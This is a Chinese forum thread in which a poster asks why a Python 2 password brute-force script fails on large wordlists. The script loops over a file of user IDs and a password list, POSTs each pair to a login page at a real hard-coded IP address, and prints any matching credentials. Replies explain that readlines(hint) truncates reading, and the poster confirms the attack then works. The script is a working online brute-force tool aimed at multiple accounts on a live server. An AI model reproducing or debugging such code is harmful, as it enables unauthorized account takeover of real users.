python暴力破解密码的问题,python暴力破解密码,我用自己的账号去尝试暴力


我用自己的账号去尝试暴力破解,候选密码保存在本地txt文件。发现当候选密码较少时(大概几百几千个),可以正确找到密码,当数据较大(大概几十万个)的时候就找不到正确的密码,但是正确的密码就在文件里面了,这是为什么?

def try_pwd(userid,pwd):  #提交数据函数    myurl = 'http://222.200.98.147/login!doLogin.action'    postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''})    header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}    request = urllib2.Request(url=myurl, data=postdata, headers=header)           try:        acp_login = urllib2.urlopen(request,timeout=10)    except urllib2.HTTPError,e:        print e.reason,e.code    re_info = acp_login.read()           if re_info == '{"msg":"/login!welcome.action","status":"y"}':        print 'ID:',userid        print 'password:', pwd        isfind = True    else:#         print 'None'        isfind = False    return isfind        start_time = time.time()print 'Start...'userID_file = open('e:\\userID.txt','r')   #userID.txt为账号文件for userID in userID_file.readlines(100):    userID = userID.strip('\n')    pwd_file = open('e:\\pwd2.txt','r')      #pwd2.txt为密码文件    for t_pwd in pwd_file.readlines(10000):         t_pwd = t_pwd.strip('\r\n')         isfind = try_pwd(userid=userID,pwd= t_pwd)         if isfind == True:             break    if isfind == False:         print userID, u'没有匹配'    pwd_file.close()     userID_file.close()end_time = time.time()print "total time: ",end_time-start_time

1.请贴代码
2.你确定你遍历完了所有密码吗

readlines(hint=-1)
Read and return a list of lines from the stream. hint can be specified to control the number of lines read: no more lines will be read if the total size (in bytes/characters) of all lines so far exceeds hint.

Note that it’s already possible to iterate on file objects using for line in file: ... without calling file.readlines().

https://docs.python.org/3.3/l...

你的代码只读了100行,正确的密码应该在100行以后

刚刚试了一下,去了readlines中的参数,又可以了 ?_?

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